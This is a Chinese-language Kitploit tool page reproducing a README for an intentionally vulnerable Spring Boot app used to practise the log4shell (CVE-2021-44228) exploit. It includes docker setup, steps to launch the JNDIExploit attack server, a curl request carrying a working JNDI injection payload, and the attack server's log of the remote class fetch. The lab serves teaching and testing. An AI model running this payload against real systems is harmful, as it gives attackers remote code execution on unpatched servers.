Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4shell-vulnerable-app — 此仓库包含一个易受CVE-2021-44228(即log4shell)攻击的Spring Boot Web应用程序。 | Kitploit
工具/GitHubGitHub/romanutti/log4shell-vulnerable-app
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubromanutti/log4shell-vulnerable-app

log4shell-vulnerable-app

此仓库包含一个易受CVE-2021-44228(即log4shell)攻击的Spring Boot Web应用程序。

查看仓库
4年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

存在漏洞的应用程序

本仓库包含一个存在 CVE-2021-44228 漏洞的 Spring Boot Web 应用程序,该漏洞被称为 log4shell。

该应用使用了:

  • log-4j-core:2.14.1(通过 spring-boot-starter-log4j2)
  • openjdk:8u181

运行应用

启动应用:

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app

或者自行构建:

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

利用指南

按照以下步骤,你可以复现 log4shell 漏洞的利用。如果你不熟悉该攻击的内部原理,请查阅这篇文章或本仓库中的演示文稿。

更新(12月13日):JNDIExploit 仓库已从 GitHub 移除(推测并非 GitHub 所为)。因此建议你使用本仓库中保存的版本。

搭建攻击服务器

首先我们需要搭建攻击服务器,包括:

  • 一个 LDAP 服务器,用于将我们重定向到恶意的 HTTP 服务器
  • 一个 HTTP 服务器,用于返回恶意载荷

我们使用 JNDIExploit 来启动攻击服务器。

root@kitploit:~
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [你的私有IP] -p 8888

触发漏洞

我们要执行的恶意载荷是 touch /tmp/pwned(对应的 Base64 编码为 dG91Y2ggL3RtcC9wd25lZAo=),在存在漏洞的应用服务器上执行。

使用以下命令触发漏洞:

root@kitploit:~
# 将执行 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[你的私有IP]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

JNDIExploit 的输出显示攻击服务器响应了恶意漏洞并执行了载荷:

root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[你的私有IP]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[你的私有IP]:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

为了确认代码执行成功,我们检查运行存在漏洞应用的容器中是否已创建了 /tmp/pwned.txt 文件:

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

...
pwned
...

参考

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/

下载工具